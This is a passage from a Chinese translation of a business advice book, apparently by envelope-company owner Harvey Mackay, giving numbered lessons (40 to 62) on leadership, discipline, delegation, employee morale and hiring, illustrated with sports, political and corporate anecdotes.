+艾森豪威尔有尼克松为他唱“黑脸”，里根有里甘为他扮“恶人”，每个球队出了事都有个经理出面。你身为老板，得有个左右手在必要时能作出严苛而不受欢迎的决定，并且在他们过于严厉时打圆场。也许你会说老板地位超然，不可能真正知道唱黑脸是怎么回事，也不可能让他如此对待公司员工。你错了。你当然会知道，所以你才会雇用他。如果你衣着光鲜，面带微笑地到各地出席委员会，举办新产品展示，在报纸上发表产业前途的谈话，那么你当然不希望自己像公司里那个扮“黑脸”的人一样恶名远播——在圣诞节解雇员工，不满工会，缩短中午休息时间。如果你必须在公司里挥鞭吆喝，就不可能在公共关系上有出色的表现。 + +你该如何经营企业？你必须了解每一位员工的优点和缺点，使他们个人建立对公司的强烈忠诚度，并且使每一个人都扮好他的角色。听起来虽然有点像不太高明的教科书的说法，不过还是有点道理的。 + +## 第40课 话说回来，如果你打算自己扮“黑脸” + +那么，就作个优秀的“黑脸”吧。 + +有些管理者注定要做这个吃重的角色。挥鞭驱策奴隶的典型人物如前总裁季宁、约翰逊总统、巴顿将军以及龙巴第(大家对他的评语是：“他对我们一视同仁，都像对待狗一样”)，再好的公关也掩饰不住他们的自大。 + +没有一家大公司——尤其是极欲超前同业的大公司——能够幸免于“上帝之鞭”(Attila)。通常扮演执鞭者的是执行主管，有时是最高决策主管本身，他们难免会在大众、新闻界或员工方面付出代价，尤其竞争对手更不会放过他。 + +如果你决定做一个严厉的主管，你最好拥有下列长处： + +●你要有过人的才智，可以从早上9点一直到下班时，能不断地提出严厉的问题。 + +●你必须公正无私(处罚甲或修理乙，要能做到毫无偏袒)。 + +●自己要能保持最高绩效。 + +●随时保持戒心，提高警觉。 + +●化解别人的批评。 + +换句话说，你必须有训练新兵的心理准备。你的部队不会喜欢你，但是会尊敬你——只要你能证明你比他们更强悍，而且你要求自己比要求他们更严格。这种企业精神就像玩一场比赛登山的游戏，人人争先恐后，否则就会惨遭淘汰。 + +做这样一种人，情绪上的投资也极大，会使最高决策主管在未来没有余暇赢取信任和率先求变。这不是我最好的建议，不过如果你非做这种角色不可，那么——勇敢地去做吧！ + +## 第41课 成大业由小事作起 + +龙巴第将军曾说：“胜利并不是太重要，胜利代表的是全部。”只要每件小事都做对，就会赢得胜利。成功企业的经营之道就像经营球队：并不须个个都是优胜者，只要犯的错误比对方少就好了。 + +作生意，每天都可能有1001种出错的机会，但只要你稍加注意就可避免所有的意外。若是一名顾客在电话上等太久，或是一通电话转了三四个人，那么你别想留住这位顾客。任何事都可能出错，例如将客户订单弄丢、延误交货或是用错颜色……等等。若你是主管，你的责任就是尽可能减少错误。 + +你不可能到处盯着。也不可能老是用些“货仍在货车上”或“还没寄到”等说词来脱身。然而你必须让你的员工了解注意细节的重要。这要如何办到呢？就看你的领导能力了。除非身为老板的你以身做则，不然没有人会重视小节。以下提出几个我目睹的例子。 + +圣母大学足球队总教练非常重视小节，他的做法是这样的：有一次球队远赴普度大学赛球，由于他们代表圣母大学，而广受注目，因此特别要求穿着西装打领带进场。球员们正等着上车入休育场，筹了老半天，教练终于出现了，一句话也不说，只是穿梭于球员之间，来回巡视了许久；最后他在一位球员面前停下，笑了笑，便上前去帮他把领带扶正。这时车子的门才打开让球员们上车。 + +他什么话都没说，但所表达的信息却很明显：你们若要做一位胜利者，便先要表现得像位胜利者，小节可以影响大局。 + + + +深入人心 + + + +你可以不断地说注意细节有多重要，说到唇干舌燥，仍不会奏效，除非你自己找出一个办法戏剧性的说明细节的重要，它才能深入人心。 + +无论是公司的经理穿梭于办公室内，看是否有哪张桌子乱七八糟；或是帮球员们扶正领带等等作法都可以。他们心中都是为了同样一个目标——表现领导风范并且重视细节。这些教练们了解：无论要教什么，先要教学生一份骄傲，而不是羞耻的精神。走进办公室看见杂乱的办公室，表示：“你不会做好份内的工作”，但将办公室整顿好却表示：“全世界都看得到你是里外都好。” + +你已填好“麦凯66”的问题，清楚你的目标，你不但可省去无谓的大花费，更可以由小事成就大事业。 + +## 第42课 找出赢家——如何发掘胜利者 + +在越南战争时，威斯特摩兰将军有一次巡视一排降落伞部队，问了他们一个问题：“你们喜欢跳伞吗？”第一位回答：“爱死了，长官！”问第二位时，他回答：“那是我一生中最难忘的经验。”将军再问第三位时，他回答：“我痛恨它，长官！”将军问：“那你为什么还要跳伞呢？”他回答说：“因为我想和喜爱跳伞的人们在一起。” + +将澳洲打败且连续四场比赛赢回美国杯的网球选手康诺尔以简短的几句话道出他的秘诀：“我都和杰出人士在一起，也让自己沾光。”胜利者也知道如何因应打击。康诺尔的一位同仁曾说过：“康诺尔周围的人才会在事情出错时，把它纠正回来。”这也是最正确的管理之道，不论你的公司大小。 + +赢家周围也都是赢家，他有足够的自信，无需让不如他的人包围他，来满足自我。只有和与他匹敌的高手为伍，并且能向他们学些东西，他才能赢得更多的胜利，走更远的路。 + +如果你正准备开始一项新生意，无论是受雇或是合伙，眼光不要只看你的合伙人，要先看看他们的手下如何？他的手下信任他吗？他能率领他们吗？手下称赞他是能干的经理，足可作为一位企业家吗？手下只是附属品吗？若手下无能，你就麻烦了。你不但得事必躬亲，同时还得完全地倚赖你合伙人的才干精力；如果没有能干的幕僚支援，对你可不会是前景大好。 + +## 第43课 让你的爱将有时间发呆 + +有个盛传的小故事：一位经理自己无法去听舒伯特的未完成交响曲的音乐会，于是将票给了工作管理组的组长，他是位效率专家；演出完毕后他便做了一项报告给经理： + +一、有不少时间，黑管乐手没有事做；因此应删减他们的人数，他们的声音也盖过整个乐团。 + +二、40位小提琴手都拉一模一样的音，似乎太多余；因此这一部分的人员也应删减，若需更大的音量，可以安装扩音器。 + +三、过多的精力都花在8分音符或16分音符上。这似乎过分要求精致，在此提议，将所有音符减化成一个16分音符，那么就可用练习生或是功力较浅的人来演奏。 + +四、没有必要让管乐器重复弦乐器已拉过的音节。若所有冗赘的音节删除去，演奏的时间便可缩减到分钟。若舒伯特当时考虑到所有以上的问题，他的交响曲也许便能完成了。 + +达到效率，却抹杀了创意，不要以效率来衡量所有的活动。你要让公司的关键人物有远见，不要让他们被一些毫无意义的会议和公文所牵绊。不妨偶尔在星期五下午放放假，或是取消几个星期一早上的会议，告诉你的手下，你希望他们用平常准备开会的时间来动动脑筋，想想新奇的点子，而且必须是他们以前从未提出过的。不要硬性规定他们要交出结果，看看情形如何。 + +若你发现有位干部正如同黑管乐手一样，对着墙壁发呆，而不是在填写报告，你应该过去恭贺他。 + +他们所在做的，是对公司最有益的事。他们正在用头脑思考，这是最艰难也最有价值的行为。因为你的员工能思考，所以你才能拥有今天的地位，“思维”(Think)这两个字是全美争相学习的公司——IBM的座右铭，不要抑制了它；多鼓励动脑筋思考吧！ + +## 第44课 保持自发的兴趣 + +不要误会，我不是在谈论“性”，虽然同样的原则也适用。你曾否注意到：常常原本有意思的事情，由于成为例行公事，就变成索然无味。 + +你并不需等到圣诞晚会或是公司旅游的时候，才“履行义务”地玩乐。 + +当你感到压力已直线上升且持续太久，当你感到注意力已直线下降时，便该放松自己，办个派对或是看场球，欣赏一场音乐会，隔天早上，你一定会对放松一下的结果感到惊喜，你又开始能集中注意力，关心所发生的事情，并且提出对策。 + +## 第45课 边工作边示威的罢工 + +我知道大部分人对“日本是怎么做”的说法已感到厌烦。但我几年前所见到的一项经历，值得让您知道。它不但说明被雇人员如何真正地关心公司，同时也说明管理者应重视员工的看法及感觉。 + +我被邀请到大颐的小松制作所去参观。这个工厂是全世界最大且效率最高的重工业设备生产厂之一。每年的销售额约95亿美金。 + +安排参观工厂前，我在旅馆接到一通电话：有一些工作人员正在罢工，问我还要参观工厂吗？当然要！为什么不要呢？我们便照常参观，经过一群手臂上绑着黑布条、正在工作的工人。我问：“是谁过世了？”他们回答：“没有人过世，他们就是罢工的人；他们绑着西方人用来代表凄伤的黑布条，以表现出他们对现况的感伤及经营方法的不满；但这种事难免会发生，因此他们仍继续工作，只是以绑着这种黑布条的方式来罢工。” + +然而工厂仍持续运作，生产并没有损失，员工仍赚着自己的薪资；他们继续与经理人员讨论其间的问题，但也仍不停地继续工作！而且，他们仍保持效率高、品质好的产品，直接以我们为竞争对手。 + +这里的重点，是创造力，而不是生产力的问题，日本人找陌了一个能够使员工继续工作、领薪资，却同时能表现出他们的不满，让管理者每分钟都看到。 + +这样的方式并不比他们关闭工厂罢工的效果来得小，惟一失去的只是在谈判桌上，相互辱骂的机会而已。 + +## 第46课 做得多还要做得巧 + +又是老调重弹了，不过让我加一点新意上去。无论您多么勤奋地练习，若没有正确的目标和方法，不管您有多少潜力，那都只是徒然练习错误而已。 + +放眼那些最杰出的运动员、音乐家及企业家，没有一位是一步登天的，除了天生的才华外，另外有两项不可或缺的要素：专家指导及钢铁般的决心。我们从专家指导谈起，不过我们不用“指导”而用“教导”。 + +你之所以阅读本书，一定希望能从本书找到一两条淘金良方。在我们简短的相处期间，身为作者的我，便是你的教练。我们彼此都知道没有一本书可以转变你的生命，只有你才能真正转变自己的生命；我没有办法帮你转变——没有任何一位老师可以。 + +老师并不只是帮助你熟悉工作的工具，老师本身便是你的工具之一，不管你从事的是什么，每个人都永远需要老师；最伟大的音乐家学琴从不间断，求进步也从不终止。大师鲁宾斯坦曾说：若是他一天没练琴，自己在演奏时便可感觉到演奏的质量稍差；若两天没练琴，乐评们便感觉到而若三天没练琴，观众便会感觉到了。 + +不管你做什么事，不断地学习才会不停地进步；当然我自己也仍在学习中。 + +如果我自认已学会一切，可以放松的那一刻，也就是我竞争对手开始用尽各种方法超越我，并将我的成果全部毁灭之时。市场上自以为已进入无人之境，可以高枕无忧，却在不知不觉中丢尽市场的例子不胜枚举。 + +《富比》杂志最近描述了一个典型的例子：约翰生原本包办全美速食业；但他们不愿拿出多余的盈余来研究新产品、开发新市场，以及了解顾客需求。他们停止学习，以为已功成名就，后来才明白他们已失去宝座。 + +你可以将以上的例子用在自己的生意上。多雇些仍保持学习精神的员工，认为无论是在公司、学校或是家中，都该“活到老，学到老”。你可以用负担学费的方法来鼓励他们。建立一个图书馆，放满书籍、录相带及录音带等资料，让他们知道你乐意见到他们的成长，你的业务也会跟着成长。 + +## 第47课 信任专家，他们……也会出错 + +世上有两种专家，你一定要能够区分这两种专家：一种专家是能够让计划实现；另一种专家是能够告诉你他“认为”会发生的结果；您尽管向第一种专家讨教但对第二种专家却要非常、非常谨慎的提防。 + +让我举个例吧！我有个朋友原是一个杰出的房地产经纪公司的老板，对经济前景很有兴趣；公司花钱聘请了一位著名的经济顾问，每个月提供他们长期及短期的经济预测，报告总是写得富丽堂皇，引经据典，采用看似有条理的论点……不过都是错误的论点；这没什么好大惊小怪的，正如人们常说：经济学家是惟一可以一生都没做对过，却拥有富裕生活的人。 + +当然，我的朋友也明白这点，但是他又怕万一错过了经济转变的大良机，而没有辞退这位顾问。然而他却暗下了些赌注，当面临一些重大的决定时，他也会采用在书报摊上买的一些经济杂志上的经济预测，结果反而比较好。 + +无论是经济学家、股票预言家或是政治预言家，甚至是体育顾问，我的建议都是一样的：千万要知道取舍的分寸。可以依赖他们解析已发生的事实，但不要依赖他们告诉你未来的走向。 + +他们所知道的绝不比你多，电脑也一样。每当面临预测未来牵涉到许多异动的变数时，专家们并不专门。惟有信任自己的判断及勇气，就算不比专家成功，至少不会比他们差。 + +## 第48课 该用的人没用，该留的人没留 + +每当我演讲时用到这一则话时，所得到的“阿门”声不绝于耳。 + +您也许不能将这则话裱起来放在办公桌上，但如果你是位管理者，劝你最好把它深植脑海。 + +## 第49课 不怒则不威 + +任何惩戒方式都不见得好，但是如果你必须惩戒的话，你就得掌握一套适用于你的风格和情况的方法。布兰查的“一分钟管理”方法对我并不适用，如果我真被激怒了，我并不打算一分钟后就平静下来，事实上我也做不到。 + +没有哪个方法永远奏效，但有个绝招我留着应付最糟的状况：我坐在宽敞、舒服的办公室里，透过秘书叫那个倒楣的家伙进来，她会先给他“一点暗示”：“我从未见过麦凯先生如此生气过……”然后让他在接待室里七上八下个半小时。好了，到目前为止，这些花招都是你用过好几回的，目的无非是让他更察觉到自己的错误，并痛苦万分地感受我的愤怒。 + +接着他被叫进来了，站在我桌前。我说：“杰克！”然后满脸阴沉地站起身，指着我的椅子：“请你走过来，坐在这里。”他依命而行，而我坐在他原来应该坐的椅子上问：“好吧！杰克！如果你是我，你会说什么？” + +他们恨死那张椅子了！有次我偷听到他们正好在讨论我：“他有叫你坐那张椅子吗？”你可想像效果如何，由于那是个陌生的位子，自然让他们感到不安。此外，因为他所犯的错，自知不属于这个代表老板权威的位置，更增加他们罪恶感的负担。相信我，个里有个比我更严厉的斥责自己，当然！没人把自己开除掉。由于我自己不会动口骂人，所以他们不会记恨，只是背地里说说。 + +但这招也不是万无一失，五个中总有一个会若无其事地“混”过去，所以我必须等到他下一次犯错时……当我炒他鱿鱼时，丝毫不影响我的地位。 + +## 第50课 不要让任何人，尤其是大牌明星人物，选择自己的继承人 + +每个管理者在每晚祈祷时，都应附加一个愿望——求神保佑前任管理者是位无能平庸之辈。事实上，身为管理者，没有比继承平庸之辈更好的了。因为很明显，业绩只可能进步，不可能退步。可是，大牌明星级的人物即将离职时，情形会不太一样，既然他干得那么有声有色，请他在临走前贡献一分智慧，应是理所当然：“请问大牌，您觉得谁才是您的最佳继承人？”无论他推荐谁，请都面带微笑，然后将这个名字从候选名单上删除。 + +当然，这只是很浅显的心理分析，但我相信，有意无意之间，没有人会诚心希望他们的继承者成功；他们推荐的候选人多半会失败；因为如此一来，更能突显出他们自己的成就。 + +这种“前任无能、现任杰出、继任无能”的并发症，不只限于市场。前美国总统杰克森亲自挑选的继承人范布仁简直一塌糊涂。美国历史上有个流传久远的神话：罗斯福总统在垂死之际，不愿派任前任国务卿及高等法院大法官的伯恩斯为副总统，据说就是因为他看出杜鲁门的无穷潜力。罗斯福之所以挑上杜鲁门，完全是因为他看起来像个二流的好手。然而，罗斯福若知道杜鲁门表现这么杰出，必定会感到惊讶和沮丧的。 + +任何一个人，若是深感自己是不可或缺的高手，都应该好好称称自己的份量，其实你没那么重要。 + +## 第51课 精神奖励一样重要 + +所有成功的销售部门都会定期安排鼓舞士气的会议，如颁奖、鼓励办法之类的活动。无论销售人员多常听到：“这不是你个人的问题……”这类安慰的话，但是专业的业务部经理仍能了解那种被拒绝的感受多么令人泄气让员工不断地保持斗志高昂、充满干劲，的确是个无止境的奋战过程。用在销售人负身上很有效的那一套，对公司其他员工也一样有效。每个人都需要受到重视。 + +大多数的生意并不都很迷人。信封这玩意儿我可能很有兴趣，但对于大部分业者来说，那只是一份“工作”。如果想提高中级主管的士气，最好的方式便是给他们意外的赞赏。对大多数人而言，口头上的称赞和金钱一样重要。 + +你可以派几个重要干部去参加一些会议或是研讨会，但是每个步骤都不能马虎。突然把他们找来，告诉他们公司这一年的业务并不太景气，但由于他们个人杰出的表现，你特别派他们去参加某某会议或是研讨会。若是你预备特别鼓舞某位同仁，不妨给他的另一半也准备一张机票，一同前往。他们回来后当然得做心得报告，但同时务必强调：你选他们去的理由，是因为你认为他们适合代表公司的形象。而后把你跟他们讲的话，写在一封短笺上，贴在公布栏上。 + +这时你完成了几项事情：让员工知道你很在意并欣赏他们的杰出表现；也不会只用“加薪”这种既伤财又无止境的奖励办法。当然，这招只能在你原有的奖励办法之外来使用。 + +## 第52课 你有多少业务员 + +有人问我这个问题时，我都告诉他们：“350人。”他们的回答总是：“哇！那你们的员工总共有多少人？”我说：“350人。” + +如同我前面说过的，我们生产的是一种普通、平凡，而且几百年间都是以类似式样出现的产品。从没有人在路上拦下我，然后夸赞：“哇！你们制造的信封真棒！”事实上，在我们这一行中，大家制造的产品都差不多，可是价格上的竞争却极大。 + +我们的成功与否完全取决于行销的方法。要让员工了解行销对公司的重要性，是没有特效药的。完全是每天的功夫累积下来的。我们的策略是在员工间引起竞争的心理。用的法子中有一个几年前就开始用的：最靠近公司大门的停车位前，放了一个牌子，上面写着“留给(填写上姓名)这个月的模范业务员。”这种鼓励方法，重点不只是对个人的赞赏；由于这个车位比我的或是任何人的车位都更靠近大门，这就很明显地指出“销售”是我们作生意的关键。 + +我有两个简单的座右铭，你不可能在任何新奇商品店或精品店看到，因为它们都是我自己想出来的。一个挂在我办公室的门上，当门关上时，它就在你眼前，上面写着：“只要你知道有任何生意机会，请进！”第二个是在我办公室中的会议桌上，写着：“我们的会议是不会被打断的，只有顾客来电时例外。” + +## 第53课 接受新挑战 + +专业经理人可以不断重复做同样的工作，但大多数成功的企业家却无法忍受乏味无聊。这两种看似相似的角色，其间差异极大：如果是位经理人，便不太可能演好成功企业家的角色；同理，企业家也不太可能成为好的经理人。这两种人在这世界上各有不同天地，而这一篇主要是谈企业家。 + +麦肯锡公司对美国商业会成员做了一项研究报告。他们发现在报告发表前五年间，每年成长20%的公司有一个共同的特点：所有经营这些公司的企业家，多半是无法忍受公式化办公、组织表及运作流程手册的规定等等。 + +企业家和优秀的业务员之间有个共同特征是：他们都很有自信，也很重视自己的任务，而且会影响周围所有的人。 + +企业家总是未雨绸缪敢于在事物未损坏之前便先行修理——因为他们天生就喜欢寻找新的挑战。 + +他们控制进度，掌管全局，如果让企业家和经理人在一块儿较劲，企业家一定会不断强迫经理人放下原来的计划，以附和自己的构想。 + +你自己是不是块企业家的料，你一定知道。如果你是位企业家，竞争者理所当然会在你蠢蠢欲动时心生畏惧。这种属于企业家的特长，不必去压制它。但同时，也不要疏忽了你的最大弱点：不重视细节——因为这到后来通常会演变成“无能收拾财务状况”。 + +如果你真是一块企业家的料，不要掩饰自己的短处，不妨为自己找个处理例行公事的高手，让他处理你不在行的事。 + +## 第54课 听听老人言 + +企业家中很少有听别人讲话的耐心。 + +如果你是公司中年纪最大的，是人们想听听“往事”时一定会找上的人，这时，便该为自己找个更老的老前辈啦！ + +我买下麦凯信封公司时，年方25岁。我解聘了阻止我买下这家公司的神气而年轻的律师后，另外聘用的律师是60岁，当时我的会计58岁；而处理我银行事务的银行专员只承认自己年近70，但我看他其实是年近80.他们对于信封业一窍不通，不过这无关紧要。他们在市场上阅历之广，根本无需知道我这行生意上的细节，就可应付我想得到的各种问题，而且是游刃有余。 + +纵然在我开业后的前五年，对我来说，一切都还很陌生；可是对他们来说，却都不是新鲜事。纵然我常不采纳他们的建议，他们仍是我保持安定及冷静的力量——而这是每个生意人（不管是老手与新手）时时都需要的。 + +我现在年已“微”逾25，且渐渐成为“老前辈”级的人物；如果我从先前那些老前辈那里学到了些什么，那就是不必将整个重任全担在自己肩头上。只要勇于开口请教，许多资深的前辈都是最佳的顾问。也许你正在想：是否该新开一条生产线？要迁厂房吗？道义上你认为应该罢工，可是又不敢？想要买下其他公司？你可不是第一个为这些问题烦心的人；问个老前辈吧！也许你倾听的时间会多于谈论的时间，但那也没有坏处啊！ + +## 第55课 要能动也要能静 + +加拿大的幽默大师李考克曾说过：“我非常相信运气；我工作愈卖命，运气就越好。” + +假日饭店的创办人威尔生，高中也没毕业，但学校仍请他回去给毕业生致辞。他说：“我实在不知道自己为何在此。我本身没拿到过文凭，一辈子都只工作半天；我想我给你们的建议也一样，每天工作半天，做哪一个半天都可以——不论是前12小时或后12小时。” + +卡尔森是卡尔森企业的老板，名下拥有全世界最大的旅行社、瑞森大饭店及家厨饭店连锁店。然而他是从自己车后的行李箱卖奖券开始的，一直做到全国首屈一指的大富豪。《富比》杂志估计他的财产近5亿美元。卡尔森对工作有一套简单的哲学，他说：“星期一到星期五是在保持竞争力不落人后，星期六与星期日拿来超越他人。” + +很多人认为卡尔森是一个工作狂；当然，他自己却不这么想；对他来说，工作并不只是工作。显然地，他工作不只是为了赚钱。您应该想像得出，如他这般聪明的人绝对能够了解有10万元的人可以和有500万元的人一样快乐。可是对他而言，“赚进”那多余的490万元带给他快乐，打高尔夫球才是工作。（可以想见他哪一项较在行！） + +然而你和我却不需要为了疯狂的成功而去做一个工作狂。 + +《一分钟经理》的作者布兰查说得好：“顶尖高手”（peak performers）是最有能力处理沉重担子的。这种人可以用惊人的冲劲——一星期、两星期，甚至三星期不眠不休——来面对特殊而重要的任务；然而处理例行公事时，他却毫不忌讳地以很懒散的心情去处理。 + +## 第56课 适时地授权 + +典型的企业家通常有一个特质：工作热诚近乎疯狂，而且极不喜欢旁人过问或干涉他的行事方法。再没有比要企业家放出权力更难的事了。 + +问题是，时代不同了，这个世界每天都在变。由于精密的机器及行销、理财技巧的兴起，使得每个行业愈变愈复杂。 + +在这样的环境里，任何一个企业家，不论他多有才华、直觉多么敏锐，都需要专业的技巧使自己更上一层楼。在这同时，他必须了解：拥有这些专业技巧并替他工作的部属，愈来愈自觉自己的能力“价值”几何，也懂得要求企业主管付出合理的代价。 + +举个例子来说，我有位企业家朋友全心经营职业球队，他的事业十分成功，因为他善于利用电视媒体为他的球队做宣传，也因为他雇用了一位十分能干的经理帮他管理事业。 + +有一天，这位经理人提出了一个小小请求：他希望能拥有整个事业股份的百分之一，这样他在心理上比较有安全感及成就感。这位企业家拥有太空时代的行销眼光，在处理劳资关系时，抱持的却是石器时代的态度；他拒绝了经理的要求，那位经理也就辞职了。 + +这位企业家显然不了解：劳资关系要和谐，若有一方气焰太盛，是会两败俱伤的，因为合作关系不可能持续太久。虽然他的球队并未因为那位经理的离职而垮台，但是他也没想到，后来雇用的新经理是一位更精明的政客型人物。现在这位企业家深怕自己会被三振出局、完全被逐出自己的企业，如果他当初肯放弃1%的拥有权，如今也不会有失去全部事业之虞了。 + +记着，如果你要保住自己的企业，你需要专业人才经营，他们和你一般明了自己的价值。 + +## 第57课 勿临渴掘井 + +当初我看到比尔·杰克布斯在我的手下，将麦凯信封制造公司管理得十分上轨道，我毫不犹豫地把他叫到跟前，分给他一些股份(不只1%)。后来有不少家公司想来挖角，比尔都不为所动，因为他已拥有自己的事业。 + +眼光长远的企业家，在这方面绝对能事先计划、部署，才不致临渴掘井。 + +## 第58课 员工与顾客同等重要 + +推销员想要了解顾客，通常可由熟记顾客的姓名开始，或者也可用前面提过的“麦凯66”这份清单。其实企业家也可以应用这种方式，且让我用个故事来说明。 + +政治家其实就是企业家。自从水门事件之后，政治充满了残酷竞争、强盗行为、虚张声势等事例。一个职业政治家往往辩才无碍，而且十分了解市场竞争的各种技巧，能在政治圈中爬到高位的人，通常在任何地方也都是赢家。 + +我在大学时代十分用功，但并没有当4年的书呆子，反而迷上了高尔夫球，而且是校园中有名的好手。毕业时一直想说服父亲，让我成为职业高尔夫球选手。 + +父亲于是安排我和一些他认识的、不同领域的大人物个别会谈。其实他的用意是让他们劝劝我做点正经事，不要打职业高尔夫球。 + +我第一次去见的人就是后来的汉弗莱副总统。当我走进他办公室，他很亲切地起身招呼我：“响！麦凯，听说你的高尔夫球打得很棒。真气人，真希望我也有这个天赋。好好打球啊！也许有那么一天，”他把头转向白宫那个方向：“你会当总统呢！” + +听到这些话，我十分惊讶。他的话没有一点劝诫意味，不像后来我见的其他人，他们都很好心地想给我一些忠告，但是说的话既无聊、又不中听。 + +汉弗莱先生知道，如果他告诉我该怎么做决定，我一定一个字也听不进去，毕竟只有我才能决定自己的生命需要什么。汉弗莱所做的是把我当成朋友，也视为一个选民；换言之，我是他政治事业中的一名顾客。他不过花了几分钟和我亲切交谈，建立了一分友谊，也因此后来他竞选总统时，我毫不考虑地投他一票，这是他成功的地方。 + +许多企业家都认为自己眼光长远，但是和汉弗莱比起来仍然差了一截。企业家多半将员工视为机器，专门用来实现企业短期的目标；事实上，员工有如顾客，值得企业家努力争取，以达到长期的目标。 + +和属下做朋友 + +有心的企业主管应当尽量了解、关怀属下的员工，并且和他们成为朋友。这种友谊应是一对一的，而不是一人对全体的。企业家的成功有赖员工的表现，一般而言，员工的表现并不只是为了薪水的缘故，更是为了赢得主管的肯定。如果企业家能让员工从自我肯定中获得满足，不愁得不到长远的成功。 + +成功的政治家都晓得，他们的选票都是靠平日服务地方和接触选民，一点一滴累积而来的。换句话说，选民可能不同意某候选人的论点而仍然投他一票，但绝不会支持他不喜欢的候选人。同样的道理也可应用在企业家与员工的关系上。 + +再说个小故事。一位名不见经传的记者，有一次访问食品业大亨巴露奇(Jeno Palucci)。访问地点在一间饭店的套房内，在场的还有巴露奇的一群助手。结束之后，巴露奇站起身，亲自为这位记者穿上外套。这只是一件小事，但对这位记者而言却是难忘的记忆。“往后10年，我都吃他们公司的披萨饼。”他说：“即使后来他把公司卖掉也一样，虽然，我实在不太喜欢它的味道。” + +## 第59课 被开除也无妨 + +球迷大概会记得史汀——洋基队的老板——五次开除球队经理马丁的故事，一次暴风雨过后，史汀改聘贝瑞当经理。据说，当贝瑞到任后，发现马丁留下两封信，上面写着：“致接任者——紧急情况时启用。”于是贝瑞把信封放回抽屉。 + +贝瑞起初纪录辉煌，但忽然交了霉运，洋基队连输了几场球，史汀大发雷霆，于是贝瑞冲进办公室，打开第一封，信中只有一句话：“全都怪在我头上吧！” + +啊哈！那正是贝瑞做的事！后来球队赢了球，史汀也不再发火，四星期后，又连续输了几场球，史汀气疯了，贝瑞再度冲回力、公室打开第二封信：“准备两个信封吧！” + +大部分人一生当中，最痛苦的经验莫过于失去所爱的人，其次大概就是丢掉一份工作了。但如果你不幸碰到一个十分难取悦的上司，或是所从事的行业原本流动率就很高，那么你最好随时准备两个信封，一个是“我留下来了”。一个写：“离开吧！” + +经得起考验的人，就算被开除也不会惊慌；他们反而会利用这个机会，迫使企业主管作让步，因为被开除的人尽管能力再差，做老板的心里多少有些愧疚。此外，经得起考验的人在平日就建立良好的关系网，就算丢了工作，也很容易找到另一份差事。 + +一个人如果即将被开除，事先一定会有所觉，那么不妨做好心理准备。有时候，被开除未尝不是件好事，尽管在当时不那么觉得。当年邱吉尔带领英国撑过第二次世界大战后，反而于大选中落败，邱吉尔夫人安慰他：“塞翁失马，焉知非福”(bleaaing in disguise)。“如果是这样的话，”邱老回答：“那福可被藏得真紧呀！”(If it is,then it is very effectively disguised)但邱吉尔夫人倒是说中了要点。看看下面这两个好例子：当年华纳兄弟电影公司拒绝了里根，结果他后来当了总统；福特开除了艾科卡，结果艾科卡使克莱斯勒汽车公司起死回生，并且因为《反败为胜》一书而声名大噪。 + +## 第60课 面对问题才能解决问题 + +由曾经酒精中毒的人所组成的“匿名戒酒者协会”，就是以这个原则——面对问题——为出发点，因而挽回成千上万的生命。然而也有许许多多的生命无法挽回，因为要他们改变，实在是太难了。 + +冥顽不灵比新科技更具破坏力。可口可乐放弃原来的配方、福特汽车公司发展出来的新车“艾德索”(Edsel)都受到很多人恶意的嘲笑。不同的是，福特坚持自己错误的策略，一心想证明市场的反应是错，反而浪费了好长一段时间。而可口可乐及早省悟：既然已经丢了脸，至少用不着再忍受巨大损失。可口可乐勇于面对现实，因此它的错误所造成的金钱亏损，远少于顽固、骄傲的福特汽车公司。 + +专业的证券经纪人以及一般商人很早就知道，他们在市场上讲究的不是勇气。别人不会因为你勇气可嘉，就颁块奖牌勉励你。市场上唯一的报酬就是：钱。 + +如果你到现在都还没赚到半点银子，及早抽身吧，而且要尽快！ + +## 第61课 花钱消灾 + +很多人在犯下重大错误后，都会立刻裹足不前，结果情绪上过度消沉，以致看不出来，任何问题只要是能用钱来解决的，都不是真正的问题，充其量不过是花笔钱罢了。既然错误已经发生，有损失也就算了；但是可别原地踏步，要采取行动！如果花钱能够消灾，花就是了，而且动作要快。 + +如此一来，问题不再是问题，剩下的只是商讨解决问题所需的代价而已。这里有几个例子可供参考： + +一、你的一位重要客户怒不可遏，因为你的工厂没有如期交货。解决之道在于：花钱消灾。告诉这位客户运费全免，即使你必须为此而损失5千、1万，或是2.5万元美金。然而，这么做可以永远保住这位客户，也能够维持公司的声誉和员工士气。当然啦！很可能要花一大笔钱，但你是要选择承受这笔损失；还是让其他新客户打退堂鼓，并且任由原先那位重要客户，在城里四处散布对你不利的话？恐怕还是前者划算吧。 + +二、有次我和一位很好的客户去安宁湖看1980年冬季奥运会的冰球决赛，那天对决的是苏联队和美国队，是当年的盛事之一。我事前花了一大笔钱买到两张票，以为是好位子，可是等我们到了那里，却发现座位前面有东西挡着，视线都被挡住了。我的客户很不高兴，我更觉得难堪。尽管这件事并非我的错，但我可不会坐视这位客户在球赛当儿，一直默想着他在拜访我们公司期间，过得有多糟。我走到观众台的底层，看准两个高中生，就问他们有没有兴趣换个位子，代价是美金。他们以为我疯了，笑着说好。结果这两个孩子很高兴，我很高兴，我的客户也很高兴。还有，美国队也赢了这场球赛。 + +## 第62课 “我从未见过坏的履历表” + +标题所引的活，是前肯塔基州长布朗的个人偏见，它应该被所有的管理者奉为圭臬，因为每个人都会纸上谈兵，但和实际表现可截然不同。想想看，如果人们是凭履历表来选总统，美国人会挑上“生意失败的服饰经销商”杜鲁门吗？或是选择“73岁、毕业自狄克森专校”的里根而放弃“出色的律师”蒙代尔呢？ + +一位管理人最伟大的天赋，莫过于懂得挑选恰当的工作人员，因为好员工才能做出好成绩，反之，不好的员工，表现也一定差劲。因此通用汽车公司的创始人史隆，即使是为不关紧要的工作挑选人才时，也很费心；而素负声望的赖圣与华金联合律师事务所中，每一个应征者都必须接受25次到30次的面谈，而一般律师事务所的惯例，只安排大约5到10次面谈。赖圣华金事务所是圈内公认经营得最好的法律事务所。 + +我自己则更进一步，不只要在甄选过程中觅得优秀新人，同时也要提醒已经在“麦凯信封”工作的员工，我们公司的信念。 + +每隔几年我们总得雇用一位新的柜台接待兼总机。一般公司通常由人事部门负责招聘这类工作人员，甚至不需要经过主管认可。我的做法不同，我自己进行这项甄选，而且非常重视。 + +我请所有的员工推荐适当人选并提醒他们，和麦凯信封公司接触的顾客之中，有99%的人对我们公司的第一印象来自柜合的接待兼总机。 + +因此等到我们找到恰当人选时，所有的人都了解到麦凯信封公司非常重视礼貌和细节，并且体认到他们能在这里工作，表示他们也很与众不同。我们并不是随便找个人来填补空缺，而是要搜寻能力出众、做事谨慎，而且负责的人。 + 